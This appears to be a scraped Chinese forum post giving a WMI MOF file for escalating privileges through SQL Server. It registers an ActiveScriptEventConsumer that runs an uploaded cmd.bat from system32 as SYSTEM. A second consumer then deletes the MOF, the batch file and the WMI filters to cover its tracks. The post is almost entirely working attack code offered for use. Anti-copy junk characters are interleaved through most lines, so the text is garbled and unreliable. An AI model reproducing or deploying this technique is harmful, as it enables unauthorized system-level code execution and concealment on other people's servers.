这个sql提权MOF需要运行 system下的文件,不能定义路径。
! U0 E8 P9 d( B8 ~7 k0 F9 f需要将要运行的命令写入到bat上传到system32目录,然后执行。0 \" H$ ?4 i$ A! {
: J% o/ z+ ^1 {/ z2 `- ? \$ n这个sql提权MOF需要运行 system下的文件,不能定义路径。" H7 k, E4 y( q
需要将要运行的命令写入到bat上传到system32目录,然后执行。. r) H, S: }* v' G3 C% x$ c
# A/ z) `9 z) A8 [1 p' F0 k3 S
#pragma
. M" g+ C5 k7 u$ H% o/ t. ~ namespace("\\\\.\\root\\cimv2")
7 G* d& Y4 [) u& k( a# L+ q class5 w8 S G5 R" j; J) w. I0 S2 ~: ~" e! I
MyClass547
8 X, Z: `6 q; o# { ^$ X { [key] Z+ K3 c- K' H% n
string
1 n. j, O) ~' X1 f Name;% q2 g4 V# v; a. X- J# j
};( i# y/ ]; |( m) @1 S5 g
class- M! P' `6 g8 S4 M
ActiveScriptEventConsumer
/ N" Q" t* {, r2 Q : __EventConsumer { [key]- J" x/ V( L& W. ^1 U* _
string
T! z3 r5 h" v; d8 m' {3 r( H Name; [not_null]
2 a7 c* q, X# N7 `* T string6 F- N6 l: ^) g
ScriptingEngine; string0 @9 o8 f, o' a6 \8 E
ScriptFileName; [template]
- X) e/ G9 F1 G* M9 V% h; y8 O6 e8 w string
- A# X, e3 H5 [, H2 X0 K" q ScriptText; uint32 KillTimeout;
( @; a, }; j. g; i! N/ ?' P }; instance of __Win32Provider as $P {
& z! m6 `' `# Q, k7 H, W Name2 l+ O2 J$ g \8 A4 j0 c8 `
=
! u9 S7 X/ p3 ~4 G k* b. ] "ActiveScriptEventConsumer"; CLSID =3 g1 V3 f3 x6 e# e
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
; F! N, q7 Y$ O PerUserInitialization
" s! {" B( s0 _ = TRUE;8 X6 x: |. d# m" n' j- [; f
}; instance of __EventConsumerProviderRegistration { Provider
3 c' i! { l, K+ F3 o2 H9 _+ P. X = $P; ConsumerClassNames
# |( _7 \) ]9 a# p( B# n- @ =
# ?! O b1 k5 m; L$ m! T2 H3 s {"ActiveScriptEventConsumer"};/ o: Z- V5 b# ~. R8 x; ?
};
+ | E' p: T4 [8 p( z ?" `1 S Instance of ActiveScriptEventConsumer
: p; J$ z- a h7 D as $cons { Name
& }8 f2 q' S( c' o5 c. \5 J3 [ =
6 p2 Q2 x. s( b+ p5 Q" ?* k "ASEC"; ScriptingEngine
' O2 T: L& `, F4 E =. D% }! \) d( X6 f
"JScript"; ScriptText b8 [3 {5 `0 L3 T
=" U: S1 h) d d# @, [9 o
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
& t2 L( ^( m0 ?7 Y Instance of ActiveScriptEventConsumer
& m! P0 h: ^, a7 G) b; S' j( f as $cons2 { Name- a1 r; |5 P) {( s/ E! e
=+ Q. T9 p: z# F
"qndASEC"; ScriptingEngine
, Y) m( j: }/ A/ k8 @7 ]+ | =
. n+ `; c) w( G7 [; r "JScript"; ScriptText
5 J4 U$ @0 |) [8 v; v =7 Y6 R7 U6 Q/ D# Y$ A
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";0 b7 K4 I# I! O, a4 U/ g3 c5 M& J3 I
}; instance of __EventFilter as $Filt { Name' E% ~8 p/ A. j) e# H K0 b% z
=
, H6 H# B. u( r7 H "instfilt"; Query
! ?) p* W7 F2 o! R =; p' r; `+ D* o h! N6 V
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
( M# q+ P, S4 K9 ~' O =
5 y" E% _( F0 C7 ~0 u% u "WQL"; }; instance of __EventFilter as $Filt2 { Name
6 U8 e' P; S# @! v" U. a8 k =; t0 `+ f0 r& L
"qndfilt"; Query
" \* n! j" H/ s) O1 t# A" x2 s = m6 o0 _: ]' {2 b
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage; N9 V! Q$ c- p: n1 R
=, Y5 Z: f4 e" z% o' y
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer7 M5 _- M: H$ i3 |4 V
= $cons; Filter
: n! I- e) k0 s: {) ?. _ = $Filt;" G9 [+ _, N' f( I
}; instance of __FilterToConsumerBinding as $bind2 { Consumer: A+ A' |6 t, n, c3 g. Q# |3 M3 {
= $cons2; Filter& r5 N) w3 e/ G0 @
= $Filt2;8 j2 a5 x; W4 G5 x
}; instance of MyClass5471 `# M9 a. U' U6 T9 X. A9 @
as $MyClass { Name$ N+ t4 j3 D* E) q
=
) E/ r6 u. w# f, p7 ]9 q4 S$ W "ClassConsumer";6 @! }$ K2 H9 C+ k J
}; |